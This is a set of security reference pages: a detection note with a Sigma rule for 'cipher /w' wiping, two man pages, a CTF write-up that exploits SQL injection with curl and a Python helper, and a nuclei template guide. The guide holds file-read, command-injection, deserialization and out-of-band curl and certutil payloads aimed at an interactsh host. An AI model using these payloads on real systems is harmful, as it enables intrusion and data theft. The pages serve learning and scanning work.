命令开始运行后,会依次用0x00、 0xff和随意数字覆盖该分区中的全部空闲空间,能够消除任何已删除文件的痕迹。
## 检测日志
windows 安全日志/sysmon日志
## 测试复现
```yml
测试环境:windows server 2016
测试命令: C:\Users\123>cipher /w:C:/Users/123/Desktop/test
```
## 测试留痕
### windows_security_log
```yml
4688,已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x507DC
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x11e0
新进程名称: C:\Windows\System32\cipher.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0x10f0
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: cipher /w:C:/Users/12306br0/Desktop/test #需要单独配置
```
## 检测规则/思路
### sigma
```yml
title: 检测cipher.exe删除数据
description: windows server 2016模拟测试。该检测方式来源于Microsoft 365 Defender威胁情报团队威胁分析报告中,勒索软件继续冲击医疗保健和关键服务。
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 1 #sysmon日志
- 4688 #Windows 安全日志
Process_name: 'cipher.exe' #Application Name
Commanline: '/w'
condition: selection
level: medium
```
### 建议
如果基于windows安全日志进行检测,需要注意操作系统版本问题,部分操作系统并不支持开启审核过程创建。
## 相关TIP
[[T1070-001-win-清除事件日志]]
[[T1070-001-win-使用wevtutil命令删除日志]]
[[T1070-003-linux-清除历史记录]]
[[T1070-004-linux-文件删除]]
[[T1070-001-win-使用wevtutil命令删除日志]]
[[T1070-003-linux-清除历史记录]]
[[T1070-004-linux-文件删除]]
[[T1070-004-win-使用Fsutil删除卷USN日志]]
[[T1070-004-win-文件删除]]
[[T1070-005-win-删除网络共享连接]]
[[T1070-006-win-Timestamp]]
## 参考推荐
MITRE-ATT&CK-T1070-001
<https://attack.mitre.org/techniques/T1070/001/>
勒索软件组织继续以医疗保健,关键服务为目标——Microsoft 365 Defender威胁情报团队
<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "END" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
END \- 提交当前的事务
.SH SYNOPSIS
.sp
.nf
END [ WORK | TRANSACTION ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBEND\fR END 提交当前事务。 所有当前事务做的修改都可被其它事务看到并且保证在发生崩溃的情况下的持续性。 它是一个 PostgreSQL 的扩展,等效于 COMMIT [\fBcommit\fR(7)].
.SH "PARAMETERS 参数"
.TP
\fBWORK\fR
.TP
\fBTRANSACTION\fR
可选关键字。没有作用。
.SH "NOTES 注意"
.PP
用 ROLLBACK [\fBrollback\fR(7)] 退出事务。
.PP
如果不在一个事务块里发出 END 将不会有什么损害,但是它会生成一个警告信息。
.SH "EXAMPLES 例子"
.PP
提交当前事务,令所有改变生效:
.sp
.nf
END;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBEND\fR 是 PostgreSQL 的扩展,提供与 COMMIT [\fBcommit\fR(7)] 相同的功能, 后者是 SQL 标准声明的语句。
.SH "SEE ALSO 参见"
BEGIN [\fBbegin\fR(7)], COMMIT [\fBcommit\fR(l)], ROLLBACK [\fBrollback\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# WrestlerBook
Web, 100 points
## Description
> WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn't get an invite don't even bother trying to view our profiles.
## Solution
We visit the attached site and see a login page:
```html
<div class="login-form">
<form action="login.php" method="post">
<h2 class="text-center">Log in</h2>
<div class="form-group">
<input type="text" name="username" class="form-control" placeholder="Username" required="required">
</div>
<div class="form-group">
<input type="password" name="password" class="form-control" placeholder="Password" required="required">
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary btn-block">Log in</button>
</div>
<div class="clearfix">
</div>
</form>
</div>
```
If we try to enter an apostrophe as the password, we get an SQL error:
```console
root@kali:/media/sf_CTFs/sunshine/WrestlerBook# curl http://archive.sunshinectf.org:19006/login.php -X POST --data "username=a&password='"
<br />
<b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in <b>/var/www/html/login.php</b> on line <b>20</b><br />
<br />
<b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on boolean in /var/www/html/login.php:21
Stack trace:
#0 {main}
thrown in <b>/var/www/html/login.php</b> on line <b>21</b><br />
```
This means that the site is vulnerable to SQL injection.
We can try to bypass the login test by using **`' or 1=1--`** as the password:
```console
root@kali:/media/sf_CTFs/sunshine/WrestlerBook# curl http://archive.sunshinectf.org:19006/login.php -X POST --data "username=a&password=' or 1=1--"
```
in response, we arrive to a page with details about a wrestler (Hulk Hogan):
```html
<div class="info">
<div class="title">
<a target="_blank"> Hulk Hogan </a>
</div>
<div class="desc">Username: hulkhogie</div>
<div class="desc">Age: 65</div>
<div class="desc">Title: WWF World Heavyweight Champion</div>
<div class="desc">Flag: N/A</div>
</div>
```
`SQLMap` can easily dump the database, but let's try doing in manually this time.
We know that the engine is SQLite from the original error message we saw. Let's try to create a UNION statement that will allow us to extract information from the DB.
SQLite has a `sqlite_master` table which holds information about the other tables. We can use it to extract table names and column names. However, first we have to arrive to a query which will have a legal syntax and let us extract the information we want.
We start with a simple union:
```console
root@kali:/media/sf_CTFs/sunshine/WrestlerBook# curl http://archive.sunshinectf.org:19006/login.php -X POST --data "username=a&password=a' UNION select 1 from sqlite_master--"
<br />
<b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in <b>/var/www/html/login.php</b> on line <b>20</b><br />
<br />
<b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on boolean in /var/www/html/login.php:21
Stack trace:
#0 {main}
thrown in <b>/var/www/html/login.php</b> on line <b>21</b><br />
```
The error message we get tells us that the SELECTs on both sides of the UNION need to have the same amount of result columns. We increase the amount and try again until arriving to 8 column:
```console
root@kali:/media/sf_CTFs/sunshine/WrestlerBook# curl http://archive.sunshinectf.org:19006/login.php -X POST --data "username=a&password=a' UNION select 1,2,3,4,5,6,7,8 from s
qlite_master--"
...
<div class="avatar">
<img alt="" src="3">
</div>
<div class="info">
<div class="title">
<a target="_blank"> 5 </a>
</div>
<div class="desc">Username: 1</div>
<div class="desc">Age: 4</div>
<div class="desc">Title: 6</div>
<div class="desc">Flag: 7</div>
</div>
```
Now we are starting to see data from our query in the page result.
We can use the following Python script for easy trial & error:
```python
import re
import html
import requests
from cmd import Cmd
class MyPrompt(Cmd):
def do_exit(self, inp):
return True
def do_send(self, param):
q = "a' UNION {}--".format(param)
r = requests.post('http://archive.sunshinectf.org:19006/login.php', data = {'username':"a", 'password': q})
if "Fatal error" in r.text:
print (r.text)
else:
m = re.search("<a target=\"_blank\">\s+(.+)\s+</a>", r.text)
if m:
print (html.unescape(m.group(1)))
else:
print(r.text)
MyPrompt().cmdloop()
```
This script lets us send queries in a mini-console, and extracts the output for easy viewing:
```console
(Cmd) send SELECT 1,2,3,4,name,6,7,8 FROM sqlite_master WHERE type='table' limit 0,1
sqlite_sequence
(Cmd) send SELECT 1,2,3,4,name,6,7,8 FROM sqlite_master WHERE type='table' limit 1,1
users
(Cmd) send SELECT 1,2,3,4,sql,6,7,8 FROM sqlite_master WHERE type='table' limit 0,1
CREATE TABLE `users` (
`username` TEXT,
`password` TEXT,
`avatar` TEXT,
`age` INTEGER,
`name` TEXT,
`title` TEXT,
`flag` TEXT,
`id` INTEGER PRIMARY KEY AUTOINCREMENT
)
(Cmd) send SELECT 1,2,3,4,flag,6,7,8 FROM users WHERE length(flag) > 0 limit 0,1
N/A
(Cmd) send SELECT 1,2,3,4,flag,6,7,8 FROM users WHERE flag != "N/A" limit 0,1
example_flag
(Cmd) send SELECT 1,2,3,4,flag,6,7,8 FROM users WHERE flag != "N/A" limit 1,1
sun{ju57_4n07h3r_5ql1_ch4ll}
```
|
sec-knowleage
|
# nuclei
`非常优秀的漏洞扫描工具,值得学习!`
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**项目地址**
- [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei)
**语法规则**
- https://nuclei.projectdiscovery.io/templating-guide
- https://nuclei.projectdiscovery.io/template-examples/http/
**模板库**
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - 由社区维护的 POC 库
- [0xAwali/Blind-SSRF](https://github.com/0xAwali/Blind-SSRF)
**相关文章**
- [安利一款还不错的开源工具—Nuclei](https://mp.weixin.qq.com/s/C_-FRZMqF4ifzlx-ij4iIQ)
- [projectdiscovery之nuclei源码阅读](https://mp.weixin.qq.com/s/zedeOp8ywOohqogCOWTpbA)
- [Automate Cache Poisoning Vulnerability - Nuclei](https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning)
- [Exploiting Race conditions with Nuclei](https://blog.projectdiscovery.io/exploiting-race-conditons/)
- [Writing Network Templates with Nuclei](https://blog.projectdiscovery.io/writing-network-templates-with-nuclei/)
- [The Ultimate Guide to Finding Bugs With Nuclei](https://blog.projectdiscovery.io/ultimate-nuclei-guide/)
---
## 安装及维护
**安装**
- 二进制文件安装
1. 从 Releases 页面下载已经构建好的二进制文件压缩包
```bash
tar -xzvf nuclei-linux-amd64.tar.gz
mv nuclei /usr/local/bin/
nuclei -version
```
- 源码安装
```bash
GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei
```
- 编译安装
```bash
git clone https://github.com/projectdiscovery/nuclei.git; cd nuclei/v2/cmd/nuclei/; go build; mv nuclei /usr/local/bin/; nuclei -version
```
- 基于 docker
```bash
docker pull projectdiscovery/nuclei
docker run -it projectdiscovery/nuclei
```
**模板库更新**
该命令会从 https://github.com/projectdiscovery/nuclei-templates 模板库中下载最新版本
```
nuclei -update-templates
```
**命令参数**
| 命令 | 描述 | 例子 |
| ---------------------- | -------------------------------- | ----------------------------------------------- |
| bulk-size | 每个模板最大并行的主机数 (默认 25) | nuclei -bulk-size 25 |
| burp-collaborator-biid | 使用 burp-collaborator 插件 | nuclei -burp-collaborator-biid XXXX |
| c | 并行的最大模板数量 (默认 10) | nuclei -c 10 |
| l | 对 URL 列表进行测试 | nuclei -l urls.txt |
| target | 对目标进行测试 | nuclei -target hxxps://example.com |
| t | 要检测的模板种类 | nuclei -t git-core.yaml -t cves/ |
| no-color | 输出不显示颜色 | nuclei -no-color |
| no-meta | 不显示匹配的元数据 | nuclei -no-meta |
| json | 输出为 json 格式 | nuclei -json |
| include-rr | json 输出格式中包含请求和响应数据 | nuclei -json -include-rr |
| o | 输出为文件 | nuclei -o output.txt |
| project | 避免发送相同的请求 | nuclei -project |
| stats | 使用进度条 | nuclei -stats |
| silent | 只输出测试成功的结果 | nuclei -silent |
| retries | 失败后的重试次数 | nuclei -retries 1 |
| timeout | 超时时间 (默认为 5 秒) | nuclei -timeout 5 |
| trace-log | 输出日志到 log 文件 | nuclei -trace-log logs |
| rate-limit | 每秒最大请求数 (默认 150) | nuclei -rate-limit 150 |
| severity | 根据严重性选择模板 | nuclei -severity critical,high |
| stop-at-first-match | 第一次匹配不要处理 HTTP 请求 | nuclei -stop-at-frst-match |
| exclude | 排除的模板或文件夹 | nuclei -exclude panels -exclude tokens |
| debug | 调试请求或者响应 | nuclei -debug |
| update-templates | 下载或者升级模板 | nuclei -update-templates |
| update-directory | 选择储存模板的目录 (可选) | nuclei -update-directory templates |
| tl | 列出可用的模板 | nuclei -tl |
| templates-version | 显示已安装的模板版本 | nuclei -templates-version |
| v | 显示发送请求的详细信息 | nuclei -v |
| version | 显示 nuclei 的版本号 | nuclei -version |
| proxy-url | 输入代理地址 | nuclei -proxy-url hxxp://127.0.0.1:8080 |
| proxy-socks-url | 输入 socks 代理地址 | nuclei -proxy-socks-url socks5://127.0.0.1:8080 |
| H | 自定义请求头 | nuclei -H "x-bug-bounty:hacker" |
---
## 使用
**运行单个模板**
对 urls.txt 中所有的主机运行 git-core.yaml 并返回结果到 results.txt
这将对 `urls.txt` 中所有的主机运行 `git-core.yaml` 并返回结果到 `results.txt`
```bash
nuclei -l urls.txt -t files/git-core.yaml -o results.txt
```
你可以轻松的通过管道使用标准的输入 (STDIN) 传递 URL 列表。
```bash
cat urls.txt | nuclei -t files/git-core.yaml -o results.txt
```
Nuclei 可以接受如下列表的 URL 作为输入,例如以下 URL:
```
https://test.some-site.com
http://vuls-testing.com
https://test.com
```
**运行多个模板**
这将会对 `urls.txt` 中所有的 URL 运行 `cves` 和 `files` 模板检查,并返回输出到 `results.txt`
```bash
nuclei -l urls.txt -t cves/ -t files/ -o results.txt
```
**组合运行**
```bash
subfinder -d hackerone.com -silent | httpx -silent | nuclei -t cves/ -o results.txt
```
**docker 调用**
对 `urls.txt` 中的 URL 通过 docker 中的 nuclei 进行检测,并将结果输出到本机的 `results.txt` 文件:
```
cat urls.txt | docker run -v /path/to/nuclei-templates:/app/nuclei-templates -v /path/to/nuclei/config:/app/.nuclei-config.json -i projectdiscovery/nuclei -t /app/nuclei-templates/files/git-config.yaml > results.txt
```
> 记得更改本机的模板路径
---
## 使用优化
**速率限制**
Nuclei 有多种控制速率的方法,包括并行执行多个模板、并行检查多个主机,以及使 nuclei 限制全局的请求速率,下面就是示例。
- `-c` 参数 - 限制并行的模板数
- `-bulk-size` 参数 - 限制并行的主机数
- `-rate-limit` 参数 - 全局速率限制
如果你想快速扫描或者控制扫描,请使用这些标志并输入限制数,`速率限制` 只保证控制传出的请求,与其他参数无关。
**排除模板**
[Nuclei模板](https://github.com/projectdiscovery/nuclei-templates) 包含多种检查,其中有许多对攻击有用的检查,但并不是都有用的。如果您只希望扫描少数特定的模板或目录,则可以使用如下的参数筛选模板,或将某些模板排除。
- **排除模板运行**
我们不建议同时运行所有的 nuclei 模板,如果要排除模板,可以使用 `exclude` 参数来排除特定的目录或模板。
```bash
nuclei -l urls.txt -t nuclei-templates -exclude panels/ -exclude technologies -exclude files/wp-xmlrpc.yaml
```
注意:如上述示例中显示的那样,目录和特定模板都将不会扫描
- **基于严重性运行模板**
您可以根据模板的严重性运行模板,扫描时可以选择单个严重性或多个严重性。
```bash
nuclei -l urls.txt -t cves/ -severity critical,medium
```
上面的例子将运行 `cves` 目录下所有 ` 严重 ` 和 ` 中等 ` 的模板。
```bash
nuclei -l urls.txt -t panels/ -t technologies -severity info
```
上面的例子将运行 `panels` 和 `technologies` 目录下严重性标记为 `info` 的模板
- **使用 `.nuclei-ignore` 文件排除模板**
自从 nuclei 的 [v2.1.1 版本](https://github.com/projectdiscovery/nuclei/releases/tag/v2.1.1) 以来,我们添加了对 `.nuclei-ignore` 文件的支持,该文件与 `update-templates` 参数一起使用,在 **.nuclei-ignore** 文件中,您可以定义要从 nuclei 扫描中排除的所有模板目录或者模板路径,要开始使用此功能,请确保使用 `nuclei-update-templates` 参数安装 nuclei 模板,现在可以根据 `.nuclei-ignore` 的文件来添加、更新、删除模板文件。
```
nano ~/nuclei-templates/.nuclei-ignore
```
默认的 nuclei 忽略列表可以访问 [这里](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) ,如果不想排除任何内容,只需要删除 `.nuclei-ignore` 文件。
**挂代理**
```bash
nuclei -l xxx.txt -t xxx.yaml -proxy-url http://192.168.1.1:8080
```
**调试**
```bash
nuclei -l xxx.txt -t xxx.yaml -v -duc
nuclei -l xxx.txt -t xxx.yaml -debug -duc
nuclei -l xxx.txt -t xxx.yaml -debug-req -duc
```
**其他**
```bash
# 断网环境
# -ni -stats -si 20 -rate-limit 500 -timeout 3
# 报错跳过(2.5.0 开始支持)
# -max-host-error 10
# 速率
# -rate-limit 500
# 超时时间
# -timeout 3
# 不更新
# -duc
# 无网络环境下
# -ni
# 监控
# -stats -si 60
# 无颜色
# -nc
```
**file**
```bash
nuclei -duc -t test.yaml -target log/
nuclei -duc -t test.yaml -target ./target1.txt -debug
```
**workflow**
```bash
nuclei -l xxx.txt -w xxx.yaml -duc
```
---
## 模板语法总结
---
**保留字**
```yaml
{{Hostname}} # 最常用的
{{randstr}} # 随机字符串
{{BaseURL}} # https://example.com:443/foo/bar.php
{{RootURL}} # https://example.com:443
{{Hostname}} # example.com:443
{{Host}} # example.com
{{Port}} # 443
{{Path}} # /foo
{{File}} # bar.php
{{Scheme}} # https
```
---
## 基础模板
**ffffffff0x 风格**
```yaml
id: base
info:
name: base
author: ffffffff0x
description: |
FOFA: (body="Blue Iris Login") && (is_honeypot=false && is_fraud=false)
severity: info
reference: https://www.exploit-db.com/ghdb/6814
tags: detect
requests:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
words:
- '<title>Blue Iris Login</title>'
part: body
condition: and
- type: word
words:
- "text/xml"
part: header
- type: status
status:
- 200
```
**官方风格**
```yaml
id: cwp-webpanel
info:
name: CWP WebPanel
author: ffffffff0x
severity: info
metadata:
fofa-query: title=="CWP |用户"
tags: panel,cwp
requests:
- method: GET
path:
- "{{BaseURL}}"
redirects: true
max-redirects: 2
matchers-condition: or
matchers:
- type: word
part: body
words:
- 'Login | CentOS WebPanel'
- 'CWP |用户'
- 'http://centos-webpanel.com'
- 'CentOS WebPanel'
condition: or
- type: word
part: header
words:
- "cwpsrv"
```
---
### 开头
```yaml
id: landray-oa-fileread
info:
name: landray-oa-fileread
author: ffffffff0x
severity: high
description: |
蓝凌OA custom.jsp 任意文件读取漏洞,这个OA遇到的比较少
FOFA: app="Landray-OA系统"
reference: https://github.com/chaitin/xray/pull/1213
tags: fileread,landray
```
---
### 请求
#### Get
```yaml
requests:
- method: GET
path:
- "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties"
```
#### POST
```yaml
requests:
- method: POST
path:
- "{{BaseURL}}/sys/ui/extend/varkind/custom.jsp"
headers:
Content-Type: application/x-www-form-urlencoded
body: 'var={"body":{"file":"file:///etc/passwd"}}'
```
#### RAW
```yaml
requests:
- raw:
- |
POST /ispirit/interface/gateway.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../mysql5/my.ini"}
```
#### 跳转
```yaml
- method: GET
path:
- "{{BaseURL}}"
redirects: true
max-redirects: 2
```
#### stop-at-first-match
Same support as we have via flag using -stop-at-first-match flag, will be helpful for the case where we have multiple possible paths for same file, in cases where we found matches at the start, we can avoid making additional requests.
大意就是一个模板里有多个扫描路径,当第一个命中时,自动停止后面几个路径的扫描,当然这个不会影响其他模板.
```yaml
requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/login"
- "{{BaseURL}}/main"
- "{{BaseURL}}/index"
stop-at-first-match: true
```
#### OOB
自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描。就像 `{{interactsh-url}}` 在请求中的任何位置编写并为添加匹配器一样简单 interact_protocol。Nuclei 将处理交互作用与模板的相关性,以及通过允许轻松进行 OOB 扫描而生成的请求的相关性。
```yaml
requests:
- raw:
- |
GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
```
**linux**
```bash
curl https://{{interactsh-url}}
```
**windows**
```bash
certutil.exe -urlcache -split -f https://{{interactsh-url}} 1.txt
```
```yaml
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
```
```yaml
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: regex
part: interactsh_request # Confirms the retrieval of etc/passwd file
regex:
- "root:.*:0:0"
```
#### JAVA反序列化
```yaml
raw:
- |
POST /index.faces;jsessionid=x HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Content-Length: 1882
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
javax.faces.ViewState={{generate_java_gadget("commons_collection3.1", "nslookup {{interact.sh}}", "base64")}}
```
- https://nuclei.projectdiscovery.io/templating-guide/helper-functions/#deserialization-helper-functions
---
#### 读取大小
```yaml
requests:
- method: GET
path:
- "{{BaseURL}}/thumbs.db"
- "{{BaseURL}}/.svn/wc.db"
max-size: 500 # Size in bytes - Max Size to read from server response
matchers-condition: and
matchers:
- type: binary
binary:
- "D0CF11E0" # db
- "53514C69746520" # SQLite
part: body
condition: or
- type: status
status:
- 200
```
---
#### skip-variables-check
what if my payload contains {{payload here}} and that is not cli env var. Can i escape it or somehow disable nuclei vars detection ?
当你的请求内容里包含 `{{` 时,会被 nuclei 解析为变量,加这个就是告诉nuclei不要解析.
```yaml
requests:
- method: GET
path:
- "{{BaseURL}}"
headers:
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
skip-variables-check: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:.*:0:0:"
part: body
```
---
### 匹配
```yaml
matchers-condition: and
matchers:
- type: word
words:
- "http://crm.bd.itf.nc/ICustomerExportToCrmService"
- "nc.itf.bd.crm"
part: body
condition: and
- type: word
words:
- "text/xml"
part: header
- type: status
status:
- 200
```
**匹配时间**
```yaml
# 此模板是基于DSL的持续时间匹配器的示例,当响应时间与定义的持续时间(在这种情况下为6或大于6秒)匹配时,返回true。
matchers:
- type: dsl
dsl:
- 'duration>=6'
```
**重命名**
```yaml
matchers:
- type: word
encoding: hex
name: win2000
words:
- "0300000b06d00000123400"
- type: word
encoding: hex
name: win2003
words:
- "030000130ed000001234000300080002000000"
- type: word
encoding: hex
name: win2008
words:
- "030000130ed000001234000200080002000000"
```
**匹配大小**
```yaml
matchers:
- type: dsl
dsl:
- "len(body)<130 && status_code==200"
```
**提取器**
```yaml
extractors:
- type: regex
part: body
name: version
group: 2
regex:
- '(<h3>)(.*?)(</h3>)'
```
**提取器案例2**
```yaml
# {"execution_date":"2021-06-05T15:42:39+00:00","message":"Created <DagRun example_trigger_target_dag @ 2021-06-05 15:42:39+00:00: manual__2021-06-05T15:42:39+00:00, externally triggered: True>"}
extractors:
- type: regex
name: exec_date
part: body
group: 1
internal: true
regex:
- '"execution_date":"([0-9-A-Z:+]+)"'
# 上面这段将提取出 2021-06-05T15:42:39+00:00
# 详见 CVE-2020-11978 写法
```
**提取器案例3**
```yaml
extractors:
- type: regex
part: body
regex:
- '(<sup>)(.*?)(</sup>)'
```
**非**
以下是使用否定条件的示例语法,这将返回响应 header 中没有 phpsessID 的所有 URL。
```yaml
matchers:
- type: word
words:
- "PHPSESSID"
part: header
negative: true
```
一个简单的判断蜜罐的示例
```yaml
- type: word
words:
- "荣耀立方"
- 'var model = "LW-N605R"'
- 'password'
- 'success'
- 'tomcat'
part: body
negative: true
condition: and
```
**Dynamic variabe**
```yaml
- method: POST
path:
- "{{BaseURL}}/login.php"
body: "username=admin&password=password&Login=Login&user_token={{session}}"
matchers:
- type: kval
name: session
internal: true
part: body
kval:
- PHPSESSID
```
---
### 爆破
**pitchfork**
```yaml
id: dell-idrac-default-login
info:
name: Dell iDRAC6/7/8 Default login
author: kophjager007
severity: high
tags: dell,idrac,default-login
requests:
- method: POST
path:
- "{{BaseURL}}/data/login"
body: "user={{username}}&password={{password}}"
headers:
Content-Type: "application/x-www-form-urlencode"
Referer: "{{BaseURL}}/login.html"
attack: pitchfork
payloads:
username:
- root
password:
- calvin
cookie-reuse: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- '<authResult>0</authResult>'
```
---
### 常用匹配
**etc/passwd**
```yaml
- type: regex
regex:
- "root:.*:0:0:"
part: body
```
**c:/windows/win.ini**
```yaml
- type: regex
regex:
- "bit app support"
```
**windows 回显**
```
cmd.exe /c set /a 12333*32111
396024963
```
**linux 回显**
```
expr 12333 \* 32111
396024963
```
---
### 进阶用法
#### 全局请求头
当目标采用 Basic Auth , 可以直接在调用的命令中加上全局请求头,而不用修改每个模板
```
nuclei -u https://target.com -H "Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ=="
```
#### Reusing dynamically extracted values as iterators in http request
- https://github.com/projectdiscovery/nuclei/pull/1288
对 robots.txt 内容进行抓取并运用于下一个请求
```yaml
id: valid-robotstxt-endpoints
info:
name: Iterate robots.txt and request endpoints
author: pdteam
severity: info
requests:
- raw:
- |
GET /robots.txt HTTP/1.1
Host: {{Hostname}}
- |
GET {{endpoint}} HTTP/1.1
Host: {{Hostname}}
iterate-all: true
extractors:
- part: body
name: endpoint
internal: true
type: regex
regex:
- "(?m)/([a-zA-Z0-9-_/\\\\]+)"
matchers:
- type: status
status:
- 200
```
#### help_functions
```yaml
id: helper-functions-examples
info:
name: RAW Template with Helper Functions
author: pdteam
severity: info
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
01: {{base64("Hello")}}
02: {{base64(1234)}}
03: {{base64_decode("SGVsbG8=")}}
04: {{base64_py("Hello")}}
05: {{contains("Hello", "lo")}}
06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
07: {{gzip("Hello")}}
08: {{hex_decode("6161")}}
09: {{hex_encode("aa")}}
10: {{html_escape("<body>test</body>")}}
11: {{html_unescape("<body>test</body>")}}
12: {{len("Hello")}}
13: {{len(5555)}}
14: {{md5("Hello")}}
15: {{md5(1234)}}
16: {{mmh3("Hello")}}
17: {{print_debug(1+2, "Hello")}}
18: {{rand_base(5, "abc")}}
19: {{rand_base(5)}}
20: {{rand_char("abc")}}
21: {{rand_char()}}
22: {{rand_int(1, 10)}}
23: {{rand_int(10)}}
24: {{rand_int()}}
25: {{rand_text_alpha(10, "abc")}}
26: {{rand_text_alpha(10)}}
27: {{rand_text_alphanumeric(10, "ab12")}}
28: {{rand_text_alphanumeric(10)}}
29: {{rand_text_numeric(10, 123)}}
30: {{rand_text_numeric(10)}}
31: {{regex("H([a-z]+)o", "Hello")}}
32: {{remove_bad_chars("abcd", "bc")}}
33: {{repeat("../", 5)}}
34: {{replace("Hello", "He", "Ha")}}
35: {{replace_regex("He123llo", "(\\d+)", "")}}
36: {{reverse("abc")}}
37: {{sha1("Hello")}}
38: {{sha256("Hello")}}
39: {{to_lower("HELLO")}}
40: {{to_upper("hello")}}
41: {{trim("aaaHelloddd", "ad")}}
42: {{trim_left("aaaHelloddd", "ad")}}
43: {{trim_prefix("aaHelloaa", "aa")}}
44: {{trim_right("aaaHelloddd", "ad")}}
45: {{trim_space(" Hello ")}}
46: {{trim_suffix("aaHelloaa", "aa")}}
47: {{unix_time(10)}}
48: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
49: {{url_encode("https://projectdiscovery.io/test?a=1")}}
50: {{wait_for(1)}}
```
#### 嵌套表达式
```
❌ {{urldecode({{base64_decode('SGVsbG8=')}})}}
✔ {{url_decode(base64_decode('SGVsbG8='))}}
```
在 extractor 中使用
- https://github.com/projectdiscovery/nuclei/discussions/1622
```
{{url_decode(base64_decode('{{SGVsbG8=}}'))}}
```
#### self-contained
A new attribute to HTTP requests that marks all the HTTP Requests in that template as self-sufficient, meaning they do not require any input to be executed.
这个用的比较局限,一般就是用于批量检测 API 可用性的,举个例子,你通过信息泄露获得了一个 API_Key 但你不知道这个是哪个服务的 APIkey,没有特征,那么就只能找哪些官方API接口一个一个试,看哪一个平台可以生效,就是这个意思。
国内环境用的不多,我对这块也没研究过.
- https://blog.projectdiscovery.io/nuclei-v2-5-3-release/
```yaml
id: example-self-contained-input
info:
name: example-self-contained
author: pdteam
severity: info
self-contained: true
requests:
- raw:
- |
GET https://example.com:443/gg HTTP/1.1
Host: example.com:443
matchers:
- type: status
status:
- 302
```
#### 文件协议
The default file size of the file template read is 1GB
文件模板默认读取的文件大小 1GB
- https://github.com/projectdiscovery/nuclei/pull/1577
```yaml
file:
- extensions:
- all
extractors:
- type: regex
regex:
- "\"type\": \"service_account\""
```
#### 网络层
```yaml
network:
- host:
- '{{Hostname}}'
- '{{Host}}:22'
inputs:
- data: "\n"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- 'SSH\-([0-9.-A-Za-z_ ]+)'
- type: word
words:
- Invalid SSH identification string
```
#### 自定义模版变量
自 2.6.9 版本开始支持
```yaml
variables:
a1: "{{to_lower(rand_base(5))}}"
requests:
- method: GET
path:
- "{{BaseURL}}/?test={{a1}}"
matchers:
- type: word
words:
- "{{a1}}"
```
---
### 需要验证的问题
* 多个工作流模板之间是否可以进行请求合并
* 截至 2.5.4 支持了单个工作流模板的请求合并,多个工作流模板的请求合并并不支持
* https://github.com/projectdiscovery/nuclei/issues/1379
* 2.8 疑似已解决(并没有😢)
* 对于网络层的探测是否可以通过调用外部库来获得结果
* issue 里官方有提,但目前没有进一步计划
* 想要参考 fapro
* https://github.com/projectdiscovery/network-fingerprint
* 值的管道用法
* 单模板内可传递,多模板之间不可传递
* BS版本 nuclei/api
* 目前不支持
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SHA1SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
sha1sum \- 计算并校验 SHA1 信息摘要
.SH 概述
